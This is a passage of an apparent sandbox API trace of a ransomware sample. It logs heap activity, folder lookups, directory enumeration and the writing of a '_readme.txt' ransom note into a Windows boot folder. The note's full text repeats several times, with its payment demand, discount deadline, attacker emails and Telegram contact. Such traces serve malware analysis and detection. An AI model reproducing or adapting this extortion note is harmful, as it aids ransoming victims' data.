hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.244] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.244] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.244] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.244] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.244] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.244] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.244] PathFindFileNameW (pszPath="") returned="" [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.244] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.244] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.244] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.244] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.245] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.245] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.245] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0059.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.246] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.246] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.246] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.246] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.246] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.247] CloseHandle (hObject=0x5c0) returned 1 [0059.247] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.247] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.247] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.247] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.247] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.248] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.248] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.248] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.248] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.248] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.248] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.248] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 